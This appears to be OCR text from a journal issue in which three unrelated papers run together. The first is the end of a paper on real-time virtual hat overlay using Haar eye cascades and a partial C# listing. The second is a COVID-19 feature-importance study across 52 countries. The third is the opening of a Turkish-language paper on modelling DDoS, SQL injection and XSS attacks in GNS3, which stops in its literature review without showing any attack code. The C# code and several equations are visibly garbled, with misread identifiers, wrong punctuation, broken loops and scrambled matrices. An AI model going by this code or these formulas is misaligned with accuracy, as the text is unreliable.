(x1[m] < x1[k] and x2|[m] < x1[k] and x2[m] < x2[k])

3.3.4 Elimination of faces seen from the side view

Since two-dimensional front-facing hats were used in the application, it was requested to eliminate the
faces rotating around the neck (yawing) in the application. On the face that has been turned around the
neck, the area of the eye close to the camera is larger, while the other eye away from the camera is
smaller. Depending on this, it was observed that haar cascade eye algorithms draw different sizes of
rectangles for the two eyes of the face rotating around the neck. Two eye width ratios were evaluated to
avoid processing on these faces. If the ratio between the two eyes selected is less than 0.5 or greater than
2 (there are two different possibilities as the wider rectangule can be in the numerator or denominator),
these eyes are not matched.

(x2[m] — x1[m])/ (x2[k] — x1[k]) < 2
and 4)
(x2[m] — x1[m]) / (x2[k] — x1[k]) > (5/10)

3.4 Perception of the Borders of the Hat

In images using the RGB model, all color values are obtained with a mixture of red (R), green (G) and
blue (B) color. This model is based on the Cartesian coordinate system. Each point in the coordinate
system is expressed in pixels and the color value of a pixel is expressed as C (R, G, B). When 8 bits are
allocated for each color, all three colors take values between 0 and 255 [20]. Each of these three colors
appears as black when it gets 0 and white when it gets 255. Pixels with equal R, G, and B values, will
get a gray color according to their value. Pixels are converted to C (X, X, X) to convert the picture to
black and white tones. This x value is calculated as follows [21].

X=R+G+B)/3 (5)

While adding a hat to the image in real time, the pixel values of the hat image are kept in memory as
long as the application is running in order to reduce the time problem as much as possible. The colors
covered by the hat are chosen differently from the hat background color, and by taking advantage of this
color difference, the hat image is distinguished from the background image. The first grayscale pixel
value of the top left corner of the hat was accepted as the background color of the hat and the grayscale
value of each pixel in the hat image was calculated and compared with this background value.
Considering that the background color may change slightly due to different reasons such as light
fluctuations, the colors from the first pixel value to 20 units difference are accepted as the background
color. A boolean array evaluating this has been created, and the pixels within the boundary of the hat
are assigned the value of “true” and the areas outside are assigned the value of “false”.

3.5 Calculating the Hat Position

In 2011, the Face Research Lab of Aberdeen University in Scotland developed an interactive online web
application to combine different human faces with an average image. When looking at the average face
image created by this software, it is seen that the Golden Ratios, an irrational mathematical constant that
fascinated mathematicians 2,500 years ago, were found in the average face dimensions [7]. The golden
ratio is calculated from (1 + V5) / 2 to approximately 1.618.
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Figure 5 Golden ratios used for hat position in the study [7]

Using the golden ratios between al-a2 and bl-b2 in Figure 5 and assuming the facial areas are
symmetrical, the hat position can be approximately determined. In determining the position of the hat,
the coordinates of the two eyes are taken as input and as a result, two referance points for each hat are
reached.

Referonce
Points

Figure 6 Variable images used in object placement commands

3.5.1 Scaling the size of the hat according to the head area

In the study, as it is aimed to reach uninterrupted images in real time, “affine transform” having less
calculation is used in image scaling instead of pixel interpolations. Thus, the pixel color values were not
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calculated separately, the unit pixel values in the picture were used only by changing quantities. The
bottom width of the hats iare assumed to be equal to the top width of the head. So for hat example
explained in this case study, it is not suitable for wide-brimmed hats such as fedora.

The affine matrix (Tsc) for scaling is as follows [22; 23]:

c., 0 0
[xy1] = [vw1]Tsc = [vw1]|0 ¢, O (6)
0o 0 1

Using this equation, the image size changes by assigning the pixel values at the v and w positions to the
x and y coordinates with coefficients cx and c.

3.5.2 Adjusting the angle of the hat to the angle of the face
On the other hand, the affine transform used to rotate the image at a certain angle is as follows:
Cosa Sina 0

—5Sing Cosa 0
0 0 1

[xy1] = [vw1]Trot= [vw1] @)

3.5.3 Hat borders sticking out of the image to which it was added

After determining the faces that are suitable for wearing a hat, the hat is sized according to where it will
be located and it is added to the image by making the necessary rotating operation. While doing this,
some parts of the hat may have gone beyond the bounds of the image. In this case, it is necessary to
carry out border checks so that the software prepared does not fail. So, if the position values that need
to be added to the hat take a negative value, or if the position values of the hat are larger than the width
or height of the image, these images are not added to the image. To show this situation, some famous
faces are selected and hats are added in the Kinship Verification Database (Figure 7).

Figure 7 Images with virtual hats from Kinship Verification Database [24]

3.6 Object Placement Codes

The processes for Object Placement are (Partial C# codes):

* Finding the width and height of the object to be added (sapgenyer and sy);

* Calculation of cos and sin values of object rotation angle (cosQ and sinQ)

* Determination of the location coordinates to be added (xbr, ybr)

* Examining whether every pixel in the visual object exceeds the image boundaries,
¢ Finding the hat image coordinates corresponding to the place to be added (ssx, ssy)
* Are hat image coordinates in hat boundaries (sapbool (sx, sy) == true)

* Adding.

195



Sakarya University Journal of Computer and Information Sciences

Cagla Ediz

Partial C# Codes 1: ®)

sapgenyer = 2.3 * h;
orangen = Convert.ToDouble(sapbmp. Width) / sapgenyer;
oranyuk = Convert. ToDouble(sapbmp.Height) / Convert. ToDouble(sapbmp. Width),
sy = oranyuk * sapgenyer;
cosQ = (sax - sox) / h;
sinQ = (say - soy) / h;
for (int K = 1; K < sapgenyer-1; K++)
{
for(intM=1, M<sy-1; M++)
{
ssx = Convert. Tolnt32(K * orangen);
ssy = Convert. Tolnt32(M * orangen),
if (sapbool[ssx, ssy] == true)
{
dy=(h/2+sy-M),
dx = (K - sapgenyer / 2),
xbr = xo + Convert.Tolnt32(Math.Ceiling(dy * sinQ - cosQ *dx));
ybr = yo - Convert.Tolnt32(dx * sinQ + dy * cosQ);
if (xbr < imageframe.Bitmap.Width && ybr < imageframe. Bitmap. Height
&& xbr > 0 && ybr > 0)
{ imageframe.Bitmap.SetPixel(xbr, ybr, sapbmp.GetPixel(ssx, ssy)), }
/

/
/

3.7 Problems with Real Time Rendering Images

In the prepared application, hats are added to the real-time images obtained from the camera and the
user is shown these processed images. The frame per second (fps) taken by camera value is 30. Hovewer,
the seen fps value is not 30 fps. Because, the frame is shown after hat adding process. This process is
taking times aproximately 0.3 sec by the notebook (/ntel® Core™ i5-2450M CPU @ 2.50GHz) This
value isn’t enough, but it is better than the previous tests made in this study. To reach this value, only
one haar cascade used. In addition, if none of the faces are in a suitable position to wear the hat
photographed from the front image, the last processed image is displayed on the screen and only after
these people come into suitable position, the image changes. So, in this case fps will be more lower than
the avarage value.

4. Conclusion

Augmented reality studies are carried out by adding virtual images on images obtained from cameras.
In this study, an application is developed by preparing simple algorithms in order to determine target
objects correctly, to set correct virtual object position and to add different virtual objects to the image.
In the developed application, it is aimed to display these images in real time. Step by step, the methods
prepared by making comparisons are explained and the points to be improved are argued. Thus, a simple
method prepared for augmented reality studies, allowing adding different objects to the images, is
presented by determining the sides needing improvement.

In this study, virtual hat images were added to people in real-time camera images. After comparing the
cascade algorithms detecting different face areas, the eye haar cascade was selected. Then the eyes of
the same faces were matched to each other and their suitability was evaluated. In addition, using the
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Table 1 Aims, steps, problems and some solutions of these problems

AIM

STEPS

PROBLEMS

SOLUTION

Detection of eyes

Using Haar cascade and EmguCV library to
capture video images and to detect eyes

Wrong detections

Mismatched eyes are eliminated while
eyes that are thought to belong to the
same face are matched

Eyes not detected

Re-detection of the same eye

Evaluation of the intersection of the eye
frames

Detection of faces

Determining the eyes belonging to the same face.

Incorrect matching of the eyes

Evaluation of horizontal eye distances
relative to eye size

Evaluation of vertical eye distances
relative to eye size

Finding the face in the
suitable position

Evaluation of the suitability of the face position

Face looking rear

Comparing two eye sizes

Face looking down or up

Finding the hat position

Determining two base points on which the hat will
be positioned

Personal and style differences in face

Rolling of the face

Finding the axis angle through the
matching two eye centers

Finding hat image

Separation of the hat image and the background
image by using color differences

The color nearness between hat and
background

Choosing different hat backcolour from
hat colours

Adding hat image

Scaling the hat according to the head width

Inappropriateness of the size of the hat

Scaling size of the hat according to the
size of placement location

The disappearance of hat patterns from the
smallness of the place to add a hat

Positioning the hat according to the angle of
rolling rotation

Unable to assign pixels to some coordinates
in the added hat

Add the hat to the image

Head's wearing position cannot be
determined for different types of hats

Adding hat's pixel values to the image

The coordinates of hat pixel can be out of
image

Evaluation assigned coordinates of hat
pixels

Real-time rendering of the
image

Repetition of steps

Image continuity not being achieved

One haar cascasde classifier is used,
Rule based algorithms are used to
eliminate wrong eyes and to match the
eyes of the same face,

Color difference is used to separate hat
and backcolour
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golden ratios of the average face and eye positions, a virtual object with the required angle and size was
added to the images. Even though the problems encountered in adding a virtual hat are presented as a
case study here, the prepared algorithms can be also used for different objects by changing the position
and size.

Although performing well when adding virtual objects to real-time images, some pointst need
improvement. First, when rotating the head to the side, each pixel value in the cartesian coordinate
system of the hat image is assigned to a new position based on the angle of rotation. As a result of this,
it is possible to skip some points ensuring continuity in new location coordinates. These deficiencies
caused various patterns according to the angle of rotation on the hats. In the future, to prevent
transparency on the virtual hat, an algorithm controlling continuity and assigning value to the pixels can
be added to this application.

Another issue that needs to be improved is the need for a program to take action by evaluating the result
of personal differences. In the study, the position of the hat is determined on the average face size.
However, the width of eyes, face and forehead varies from person to person. In addition, many
parameters such as the bulk of the hair, style of hair, shortness of hair, length, curly or straight hair can
affect the hat position. Additional algorithms that will position the hat by evaluating these parameters
will improve the study. Moreover, the scope of this study can be expanded by algorithms determining
the angles of pitching and yawing of the head by using three-dimensional hat in future applications.
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Abstract

The whole world has been fighting against the novel coronavirus 2019 (COVID-19) for months. Despite the
advances in medical sciences, more than 235,000 people have died so far. And, despite all the measures taken for
it, more than 3 million people have become sick of the COVID-19. The measures taken for the COVID-19 vary
through countries. So, revealing the most critical measures is necessary for a better fight against both the COVID-
19 and possible similar pandemics in the future. To this end, an analysis of the worldwide measures, which were
taken so far, for the COVID-19 pandemic was proposed within this paper. Since it is still early days, for the best
of our knowledge, there does not exist a single dataset contains all the features utilized within this study. Therefore,
a novel global dataset containing the data regarding the COVID-19 for 52 countries around the world was
constructed by combining various datasets. Then, the feature importance techniques were employed to reveal the
importance of the utilized features which means revealing the most important measures taken for the COVID-19
pandemic for our case. Within the analysis, four features were utilized, namely, the population density, the walking
mobility, the driving mobility, and the number of lockdown days. According to the experimental result, the
population density was found as the most important feature which means the most critical measure in terms of
increasing the spread of the COVID-19 pandemic. The order of the importance of the other features was found as
the walking mobility, the driving mobility, and the number of lockdown days, respectively.

Keywords: COVID-19, coronavirus, pandemic, feature analysis, feature importance

1. Introduction

The novel coronavirus 2019 (COVID-19) emerged in Wuhan, China in December 2019 [1], [2], and it
has rapidly spread into other provinces in China, and eventually, 212 countries as well by the 1st May
2020 [3]. The total number of confirmed global COVID-19 cases, and the total number of deaths have
reached to 3,336,680, and 235,245, respectively, by the 1st May 2020 [3]. Since the COVID-19 is
thought to be primarily transmitted by respiratory droplets [4], the primary goal of the whole world is
to prevent the person-to-person spread of disease. To this end, the three common measures that are put
into practice are (i) isolation, (ii) quarantine, and (iii) community containment. ‘Isolation’ is the
separation of the infected people from non-infected people to prevent the person-to-person spread of
disease, and generally occurs in a hospital or a designated facility. ‘Quarantine’ means the movement
restriction of non-infected or suspicious people, as they may be still in the incubation period, to control
communicable disease outbreaks. Quarantine generally involves restriction to the home or a designated
facility and may be applied at the individual or group level and may be voluntary or mandatory. One of
the points to take into consideration is that people in quarantine should monitor themselves for the
occurrence of any symptoms of the disease. ‘Community containment’ is an intervention applied to an
entire community, city, or region in order to minimize person interactions, except for the necessary
minimal interaction to ensure vital supplies. Community containment starts with social distancing which
involves keeping the distance between other people and usage of facemasks at all times in a broader
community to reduce interaction between people. When social distancing is deemed to be insufficient,
further practices such as the closure of schools, public markets, office buildings, and shopping malls,
shutting down of the public transportation, and declaring a lockdown are put into practice as most of
them have been applied in many countries. The three common measures that are put into practice in
order to prevent pandemic, namely, (i) isolation, (ii) quarantine, and (iii) community containment, are
illustrated in Figure 1.
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Figure 1 An illustration of the three common measures that are put into practice in order to prevent pandemic,
namely, (i) isolation, (ii) quarantine, and (iii) community containment

The whole world has been fighting against the COVID-19 pandemic by taking various measures. So, it
is critical to reveal the most critical measures taken for preventing the spread of the COVID-19
pandemic, and possible similar pandemic in the future. To this end, an analysis of the worldwide
measures, which were taken so far, for the COVID-19 pandemic was proposed within this paper. To the
best of our knowledge, there does not exist a single dataset contains all the features utilized within this
study. Therefore, a novel global dataset was constructed by combining various sources. Then, machine
learning algorithms were employed to reveal the most critical measures taken for preventing the spread
of the COVID-19 pandemic. The rest of the paper is organized as follows: Section 2 presents the limited
related work as it is still early days for completely understanding the COVID-19 and proposing
approaches to prevent its spread. Section 3 describes the proposed study with implementation detail.
Section 4 presents the experimental result and discussion. Finally, Section 5 concludes the paper with
future directions.

2. Related Work

Jiang et al. [5] proposed a tool with Al (Artificial Intelligence) capabilities in order to predict patients
at risk for more severe illness on initial presentation after algorithmically identifying the combinations
of clinical characteristics of the COVID-19. They noted that key characteristics such as fever,
lymphopenia, and chest imaging were not as predictive as severity. In addition to this, they reported that
epidemiologic risks such as age and gender were not as predictive. They utilized six machine learning
algorithms, namely, Logistic Regression, KNN (k-Nearest Neighbors), Decision Tree based on Gain
Ratio, Decision Tree based on Gini Index, Random Forest, and SVM (Support Vector Machine), for the
predictions. When it comes to the utilized algorithms’ performance, SVM outperformed the other
algorithms by providing an accuracy of 80%. Unlike this study, the proposed study aims to reveal the
most critical features (measures) instead of prediction. Strzelecki and Rizun [6] proposed an
infodemiological study based on Google Trends [7], which is a service that analyzes the popularity of
the given terms or topics. According to the experimental result, Google Trends was able to forecast the
rise of new cases. Unlike this study, the proposed study utilizes several data sources to make us various
features from various sources. Fang et al. [8] proposed a radiomic signature to screen the COVID-19
from CT (Computed Tomography) images. They segmented the lung lesions from the CT images and
extracted 77 radiomic features from the lesions. The four of these features, which were found as highly
associated with the COVID-19 by utilizing the unsupervised consensus clustering and multiple cross-
validations, were used as the inputs of SVM to build the radiomic signature. According to the result of
the conducted experiments, the proposed model achieved an accuracy of 82.6% for the test set. Unlike
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this study, the proposed one utilized publicly available data such as the number of lockdown days, the
driving and walking mobility trends, and the population densities of countries instead of medical data.

3. Material and Method

In this section, the detail regarding the constructed dataset and performed analysis was described. Since
it is still early days, for the best of our knowledge, there does not exist a single dataset contains all the
features utilized within this study. Therefore, a novel global dataset was constructed programmatically
through the implemented Python scripts by combining various sources. Similarly, the analysis including
the exported plot was performed programmatically on the constructed data. Eventually, an end-to-end
analysis based on the pipeline architecture was proposed within this study that accepts the raw CSV data
as the input and generates the analysis result as the output.

3.1 Dataset Construction and Feature Extraction

The John Hopkins University Center for Systems Science and Engineering (JHU CSSE) provides the
data of their interactive web-based dashboard [9] that tracks the COVID-19 global cases in real-time.
The data, which is stored as CSV (comma-separated values) files, is hosted on GitHub [10] and is being
updated daily through the reported global cases by starting the 22nd of January 2020. In order to read
and query CSV files, a widely-used Python library, namely Pandas [11], was utilized which creates data
frames from the raw CSV data. This data contains a CSV file per each day that contains (i) the number
of confirmed cases, (ii) the number of deaths, (iii) the number of recovers, and (iv) the number of active
cases for the countries/regions around the world. Since the aim of this study is revealing the best
measures taken to minimize the spread of COVID-19, the only feature that is associated with the aim of
this study is the number of confirmed cases as the other features are strongly associated with the health
care services provided by countries which are out of the scope of this study. Therefore, the features
available in the CSV file except for the number of confirmed cases were not included in the feature set
of the proposed study. To better reflect the spread of the COVID-19, the ratio of the number of confirmed
cases to the population of the country was utilized instead of the number of confirmed cases. The
populations of countries were retrieved through the implemented Python script that utilizes a Python
library, namely, countryinfo [12]. The countries, whose populations were not provided by this module,
were eliminated from the analysis. Apple reports the COVID-19 mobility trends in countries/regions
and cities on a daily basis by starting the 13th of January 2020 through the requests for directions in
Apple Maps [13]. This report contains mobility trends in three transportation types, namely, (i) driving,
(ii) walking, and (iii) transit. Since the report does not contain the transit mobility trend for some
countries, this feature was not utilized within this study. The mobility trends in the 30 days after the
first case was confirmed were considered, and the averages of the mobility trends during the 30 days
were regarded as the final mobility trends. Similar to the population retrieval, the countries, whose
mobility trends were not included in the report provided by Apple, were eliminated from the analysis.
The other features utilized within this study are the population density of each country, which was
retrieved from an up-to-date report [14] based on the reports of both the United Nations and The World
Bank, and the number of lockdown days in the 30 days after the first case was confirmed. The date of
the first confirmed case for each country was determined programmatically by sequentially inspecting
the daily reports provided by the JHU CSSE. The start dates of the lockdowns for the countries, that
declared a lockdown, were retrieved through a dataset hosted on Kaggle [15]. Eventually, the
constructed dataset contains the aforementioned features for the 52 countries from all around the world
which are highlighted in the world map” in Figure 2.

*
The world map was generated thanks to the https://mapchart.net web portal.
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Figure 2 The world map that highlights the countries which are included in the analysis within the proposed
study

After the dataset was constructed, it was mapped into the range of (0,1), which is also known as Min-
Max Normalization, through the MinMaxScaler functionality of the scikit-learn [16], which is a widely-
used machine learning library for the Python programming language. Data normalization is a critical
process for all analyses based on data as it minimizes unwanted biases and experimental variance [17],
[18]. It is very useful when the features of the data are on widely different scales [18] which was the
case for the constructed dataset. An overview of the dataset construction phase of the proposed study
including the extracted features, which are highlighted in bold, is presented in Figure 3.
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Retrieve the population of each country
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Figure 3 An overview of the dataset construction phase of the proposed study including the extracted features,
which are highlighted in bold
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3.2 Revealing the Importance of Features

The aim of the feature importance is revealing the relative importance of the features when making
predictions for the target feature. In other words, feature importance reveals the inductiveness of features
in terms of predicting the target feature [19]. To this end, both the Decision Tree Regressor and the
Random Forest Regressor implementations, which are provided by the scikit-learn library, were utilized
since these machine learning techniques have proven their efficiencies in the similar problems [20],
[21]. Decision Tree Regressor is a non-parametric supervised learning method that follows recursive
binary splitting technique to find the best prediction [22]. Random Forest Regressor is an ensemble
method that is assembly of various Decision Tree Regressors which are combined using ensemble and
predictions of each tree are averaged to find the best prediction [23]. The ratio of the confirmed cases
to the population of the country was the target feature of the proposed study. The averages of the scores
calculated through these regression techniques were regarded as the final scores of the features. The
reason behind utilizing both of these regression techniques instead of employing one of them is to
minimize the fluctuations of the scores that are calculated through each machine learning algorithm. Let
dt_score, and rf_score denote the importance scores calculated by the Decision Tree Regressor, and
Random Forest Regressor, respectively, the final importance score of a feature, which was denoted by
importance_score, was calculated as seen in Equation 1:

dtscore + rfscore (1)

importancescore = 2

4. Experimental Result and Discussion

The proposed feature importance approach performed on the constructed dataset to reveal the
importance of the features, which means the importance of the measures taken for the COVID-19
pandemic in our case. According to this experimental result, the utilized features were ranked as follows,
respectively: the population density, the walking mobility, the driving mobility, and the number of
lockdown days as the calculated importance scores of the utilized features are presented in Figure 4.
When the experimental result was inspected, the following outcomes were deduced:

e The population density of the country, which is denoted by density in Figure 4, was by a wide
margin the most important feature that increases the rate of incidence of COVID-19 as both the
health professionals and researchers emphasize the critical importance of not being in close
contact with people in a broader community (a.k.a. social distancing) [4] during the pandemic
which is naturally more common in the countries with high population densities. Hence, a low
population density is a natural way of ensuring social distancing.

e The walking mobility trend in the country, which is denoted by avg_walking in Figure 4, was
the second most important feature after the population density in terms of affecting the rate of
incidence of the COVID-19. This result is reasonable as while being in the broader community,
the distance between people becomes critical to reduce contact with people, who may be still in
the incubation phase. According to the reports, a distance of at least 1 meter between people is
needed to be maintained for the COVID-19 [24]-[26].

e The number of lockdown days, which is denoted by lockdown_days in Figure 4, came after the
walking mobility trend. During the COVID-19 pandemic, while some countries declared full
lockdown, some others declared partial lockdown. In addition to this, some countries such as
Sweden even did not declare any types of lockdown. The number of cases was relatively high
in the United Kingdom (UK) despite declaring a full lockdown on the second day after the first
case was confirmed.

e The driving mobility trend, which is denoted by avg_driving in Figure 4, was found as less
critical compared to the other features as the driving already ensures some level of social
distancing.
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Figure 4 The calculated importance scores of the utilized features

The plots presented in Figure 5 were obtained when the model was employed with the Decision Tree
Regressor and Random Forest Regressor, respectively. The population density was remained the most
important feature amongst all features for both techniques. The remaining features were ranked when
the model was employed with the Decision Tree Regressor as follows: The walking mobility, the driving
mobility, and the number of lockdown days. When it was employed with the Random Forest Regressor,
the rank of the remaining features was obtained as follows: The number of lockdown days, the driving
mobility, and the walking mobility.
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Figure 5 The calculated importance scores of the utilized features when the model was employed with the
Decision Tree Regressor (left) and Random Forest Regressor (right), respectively

5. Conclusion

The COVID-19 pandemic has dramatically changed daily life worldwide as it has influenced 212
countries at the time of writing this paper. The countries that have been fighting against the COVID-19
have taken various measures against it to minimize the spread. So, it has become critical to reveal the
most critical measures in terms of preventing the spread of the COVID-19. To this end, a novel global
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dataset containing the data regarding the COVID-19 for 52 countries around the world was constructed
and analysis was performed on it within this study. Within the analysis, four features were utilized,
namely, the population density, the walking mobility, the driving mobility, and the number of lockdown
days. According to the experimental result, the population density was found as the most important
feature which means the most critical measure in terms of increasing the spread of the COVID-19
pandemic. The order of the importance of the other features was found as the walking mobility, the
driving mobility, and the number of lockdown days, respectively.

As future work, the duration of the analysis may be extended as it was set to 30 days since it is still early
days of COVID-19 pandemic. In addition to this, the lockdown may be detailed as there are some types
of lockdown as the rules during a lockdown vary through the country it is declared by. Finally, the
mobility trends would be retrieved from the official sources when they are revealed for worldwide. This
would provide more inclusive data regarding the mobility trends in countries.
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Abstract

In this study, DDoS, SQL injection and XSS attacks that hackers use most in cyber attacks are modeled on GNS3
emulator platform and network security is analyzed. A network scenario was designed using Graphical Network
Simulator (GNS3), virtual machines, VMware workstation, firewall, router, and switches in order to examine the
attacks on networks in real environment. Attacks were performed on this network with different techniques and
target servers and devices were affected by the attacks. At the time of the attack, network traffic between the
attacker and the target device was recorded with Wireshark software. Network traffic records and traces were
examined and evaluations of attacks were made.

Keywords: Network Attacks, SQL Injection, DDaoS, XSS, GNS3, Network Security.

Farkh Turdeki Ag Ataklarimin GNS3 Platformunda Analizi
Oz

Bu calismada, bilgisayar korsanlarmin siber saldirilarda en fazla kullandigi DDoS, SQL enjeksiyonu ve XSS
saldirilart GNS3 emulator platformunda modellenmis, ag giivenligi analiz edilmistir. Aglara yapilan saldirilar
gercek ortaminda inceleyebilmek igin Grafiksel Ag Simiilatorii (GNS3), sanal makineler, VMware is istasyonu,
giivenlik duvari, yonlendirici ve anahtarlar kullanilarak bir ag senaryosu tasarlanmigtir. Bu ag iizerinde farkli
teknikler ile saldirilar gerceklestirilmis, hedef sunucu ve cihazlarin saldirilardan etkilenmesi saglanmigtir. Saldir1
aninda, saldirgan ve hedef cihaz arasindaki ag trafigi Wireshark yazilimi ile kayit altina alinmistir. Ag trafik
kayitlar1 ve izler incelenerek, saldirilara ait degerlendirmeler yapilmustir.

Anahtar Kelimeler: Ag Saldirilari, SQL Enjeksiyonu, DDoS, XSS, GNS3, Ag Giivenligi

1. Giris

Giiniimiizde Internet, calisma ve giinliik hayatimzin vazgegilmez bir parcasi haline gelmistir. Internet
tabanli sosyal aglar, IoT(Internet of Things) ve Internet teknolojilerinde yasanan hizli gelismeler
bilgisayar aglarina yapilan saldirilarin artmasina yol agmistir. Bu nedenle kampiis aglarinin glivenligini
en ist seviyeden kontrol etme zorunlulugunu ortaya ¢ikartmustir.

Ik zamanlarda bilgisayar korsanlari, kisisel bilgisayar ve aglara saldirirken duygularini tatmin,
idealistlik ve dikkat cekme gibi amaglar giiderken, bu saldirilar giiniimiizde “Siber Saldir1” veya “Siber
Silah” haline gelmistir.

Bilgisayar korsanlar1 tarafindan kullanilan sayisiz saldir tiirii ve araci ile bilgisayar aglarina saldirilar
yapilmaktadir. Teknolojinin hizli gelismesine paralel olarak yeni saldir tiirleri ve yontemleri ortaya
¢ikmaktadir. Malware, sosyal miithendislik, casus yazilimlar, sifre kaydediciler(Key Logger), gelismis
port tarayicilari, virlsler, yigin e-postalar (Spam), solucanlar, truva atlari, arka kapilar (Backdoors),
fidye yazilimlar1 (Ransomware), korsan amacli kullanilan yazilimlar (Rootkits), zombi makineler,
yazilim agiklart ve web uygulamalarindaki kodlama hatalar1 bilgisayar korsanlar1 tarafindan
kullanilmaktadir. 2017 yili itibariyle diinya genelinde bildirilen saldir1 sayilar1 Sekil 1’de sunulmustur.
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Sekil 12017 yilinda gergeklesen saldirilarin dagilim oranlari [1]

Kampiis aglarina ve web uygulamalarina yapilan saldirilar siniflandirildiginda, Hizmet Aksatma (Denial
of Service-DoS), SQL Enjeksiyonu ve XSS (Cross Site Scripting- Capraz Betik Saldirilar1) saldirilar
en sik kullanilan saldir1 yontemleri olarak 6ne ¢ikmaktadir.

Bilgisayar aglarina yapilan saldirilar ve yontemler gelistikge bu saldirilar1 engellemeye yonelik yeni
yaklasimlarda ortaya ¢ikmaktadir. Klasik Imza Tabanli (Signature-Based Detection) saldir1 tespit
sistemleri aktif olarak kullanilmakla beraber Anomali Tabanli Denetim (Anomaly-Based Detection)
olarak ifade edilen yeni bir yaklasim tarzi ortaya ¢ikmustir. Imza tabanli STS’ler daha 6nceden veri
tabani’na kaydedilmis bilinen saldirilar1 tespit etmede yliksek basar1 oranina sahipken veri tabaninda
kayitli olmayan veya ilk defa gerceklesen saldirilart tespit etmekte etkisiz kalmaktadir [2]. Anomali
tabanli STS’leri imza Tabanli STS’lerden ayirt eden en dnemli 6zellik ilk defa yapilan veya daha 6nce
kullanilmamis yontemler ile yapilan saldirilan tespit etmede gosterdikleri yiiksek basari oramidir.
Anomali tabanli STS’ler normal kullanici trafigi ile saldirgan trafigini ayirt ederek zararhi trafigi
engelleyebilme yetenegine sahiptir.

Bu caligma ile ag yoneticilerinin, siber saldirilar karsisinda almalart gereken giivenlik dnlemleri ve
giivenlik politikalar1 maddeler halinde agiklanmigtir. Ayrica gergeklestirilen saldirilar esnasinda, ag
trafigine ait kayitlarin nasil elde edildigi ayrintilariyla ifade edilmistir.

Bu makalenin ikinci bolimi makale kapsaminda gerceklestirilen saldir1 uygulama yontemlerine ait
literatiir taramasini, U¢Uncl bolimii kampiis aglarima gergeklestirilen giincel saldirt yontemlerini,
dordinci bolimii ag senaryolar1 ve saldir1 uygulamalarini, besinci boliimii ¢aligmada elde edilen
sonuclara gore saldirilardan korunmak icin dnerileri, altinc1 boliim{ sonuclar: kapsamaktadir.

2. Literatir Taramasi

Biligsim sistemlerinin yaygin ve etkin kullanimu ile ag giivenlik ¢6ziimlerinin 6nemini her gegen giin
arttirmis, bu konusunda da son yillarda siirekli yeni yaklasimlar ve ¢dzliimler sunulmaktadir. Literatiire
ve bilisim firmalarinin bu konudaki farkli ¢oziimleri incelendiginde etkin ve giivenilir yaklagimlar
goriilmektedir. Son yillarda yapilmis ¢calismalardan bazilar literatiir taramasi olarak verilebilir.

[3] nolu caligmada, yazilim tanimli aglarda kantitatif yontemlerle DoS saldirilarini tespit etmeye
calismiglardir. DoS saldirilarini incelemek i¢in Mininet platformu kullanilarak, Anomali Tabanl saldirt
tespit ve engelleme stratejisi gelistirilmistir. Ag trafigindeki paket iceriklerinin Entropi ve Jain
indekslerini hesaplayarak Jain indeksinin Entropiye gore daha basarili oldugunu ortaya koymuslardir.

211



Sakarya University Journal of Computer and Information Sciences

Das et. al

[4] nolu calismada, Yapay Sinir Aglar1 (YSA) temelli Zeki STS gelistirmeye yonelik calismalar
yapmisglardir. KDD’99 veri seti kullanilarak 9 temel ve 32 adet tiiretilmis olmak {izere toplamda 41 adet
0zellik haritas1 ¢ikartilmistir. Bu 6zellikleri 3 temel kategoriye ayirip, her kategorideki egitim verisi ile
YSA’n1 egitmiglerdir. Egitim sonucu gelistirilen Zeki STS DoS ve diger saldir tiirlerinden yapilan
saldirilart tespit etmede en yiiksek %97,92 ve en diisiik %81,93 basar1 elde etmistir.

[5] nolu ¢alismada ise, ag iletisim protokollerindeki baslik bilgilerinin degistirilmesiyle gergeklestirilen
saldir1 yontemleri incelenerek Scapy [6] araci ile 6rnek saldir1 uygulamalar: gelistirmislerdir.

[7] nolu ¢alismada, Ip kamera gorintiilerinin iletildigi diisiik giivenlikli aglarda Wireshark yazilimi ile
elde edilen kayitlardan kisisel verilere ve konum bilgilerine kismi erigim saglamak (izere 6rnek ¢alisma
yapmuslardir.

[8] nolu galismada, CICIDS2017 veri setine Principal Component Analysis (PCA - Temel Bilesen
Analizi) teknigi uygulanarak veri boyutunu azaltip, siniflandirici algoritmalar ile siniflandirmaya uygun
hale getirmislerdir. Elde edilen yeni veri seti ile siniflandiricilar kullanilarak, STS gelistirmislerdir [8].

[9] nolu calismada, gercek zamanda c¢alisan FPGA (Field Programmable Gate Array - Alan
Programlanabilir Kap1 Dizileri) tabanli programlanabilir gémiilii bir STS’nin tasarimi i¢in 4 adimdan
olusan bir mimari gelistirilmiglerdir. Agdan yakalanan paketler normalize islemine tabi tutularak
YSA‘da girdi veri seti olarak kullanilmigtir. YSA giris ve ara katmanda Hiperbolik Tanjant Sigmoid,
¢ikt1 katmaninda Lineer Transfer fonksiyonlar1 kullanilarak ¢ikt1 katmaninda paketin saldirimi yoksa
normal ag trafigi olduguna karar vermislerdir. Gergek zamanda yapilan testlerde 2000 paketin 392’si
Saldiri1, 297’si Saldiri2 ve 1311’1 Normal paket olarak tespit etmiglerdir.

[10] nolu ¢alismada, OSI modelinin farkli katmanlarina degisik tipte yapilan DDoS saldirilarinin tespiti,
onlenmesi ve DDoS saldirilarinin bulut bilisime olan etkileri lizerine ¢alismalar yapmiglardir. DDoS'un
bulut ag1 uygulama ve ag katmani ile OSI katmanlar {izerindeki etkisini, arastirmacilarin kullandigi
olasi ¢oziimleri arastirmiglardir. Her bir yaklagimin avantajlari, dezavantajlart ve DDoS’un bulut aginda
ortaya ¢ikarttig1 sorunlari tanimlamislardir.

[11] nolu ¢alismada, SQL Enjeksiyon saldirilar1 4 ana kategoride 22 farkli teknik ile incelenerek SQL
sorgularin, SQL enjeksiyon saldirilarinda nasil uygulandigini detayli sekilde agiklamiglardir.

[12] nolu ¢alismada, ASP.NET-MS SQL tabanli web uygulamasi lizerinde, SQL enjeksiyon saldiri
analizi yapilarak glivenlik zafiyetleri ortaya koyulmus ve SQL enjeksiyon saldirilarindan korunmak igin
Oneriler sunmusglardir.

[13] nolu ¢alismada, Grafiksel Ag Simiilator Yazilimi (GNS3), Oracle Virtual Machine(Sanal Makine),
VMware is istasyonu ve Wireshark gibi birgok agik kaynak kodlu yazilim kullanarak silahsizlastirilmisg
bolge (DMZ — Demilitarized Zone) ag ortamu tasarlamuslardir. Tasarlanan ag’da SQL enjeksiyon
saldirist gergeklestirerek, saldir1 anindaki ag paketleri kayit altina alimmistir. Uygulama sonucu elde
